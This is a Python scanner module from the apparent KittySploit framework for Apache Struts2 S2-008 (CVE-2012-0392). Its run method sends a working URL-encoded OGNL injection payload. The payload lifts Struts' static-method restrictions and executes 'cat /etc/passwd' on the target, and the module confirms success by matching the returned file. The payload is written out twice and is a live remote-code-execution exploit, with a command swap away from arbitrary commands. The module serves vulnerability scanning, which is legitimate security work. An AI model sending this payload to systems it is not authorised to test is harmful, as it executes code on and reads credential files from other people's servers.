Apache Struts2 S2-008 RCE Detection

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""The CookieInterceptor component in Apache Struts before 2."""

import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Apache Struts2 S2-008 RCE Detection',
        'description': 'The CookieInterceptor component in Apache Struts before 2.3.1.1 does not use the parameter-name whitelist, which allows remote attackers to execute arbitrary commands via a crafted HTTP Cookie header that triggers Java code execution through a static method.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2012', 'apache', 'rce', 'struts', 'java', 'edb', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://cwiki.apache.org/confluence/display/WW/S2-008 https://blog.csdn.net/weixin_43416469/article/details/113850545',
            'http://www.exploit-db.com/exploits/18329',
            'https://lists.immunityinc.com/pipermail/dailydave/2012-January/000011.html',
            'http://web.archive.org/web/20150110183326/http://secunia.com:80/advisories/47393',
            'http://struts.apache.org/2.x/docs/s2-008.html',
        ],
        'cve': 'CVE-2012-0392',
    }

    def run(self):
        r = self.http_request(method="GET", path='/devmode.action?debug=command&expression=(%23_memberAccess[%22allowStaticMethodAccess%22]%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean(%22false%22)%20%2C%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D%23foo%[email protected]@toString(@java.lang.Runtime@getRuntime().exec(%27cat%20/etc/passwd%27).getInputStream()))', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_regexes = ('root:.*:0:0:',)
        if (any(re.search(rx, body, 0) for rx in body_regexes)):
            self.set_info(
                severity='medium',
                reason="Apache Struts2 S2-008 RCE detected",
                path='/devmode.action?debug=command&expression=(%23_memberAccess[%22allowStaticMethodAccess%22]%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean(%22false%22)%20%2C%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D%23foo%[email protected]@toString(@java.lang.Runtime@getRuntime().exec(%27cat%20/etc/passwd%27).getInputStream()))',
            )
            return True
        return False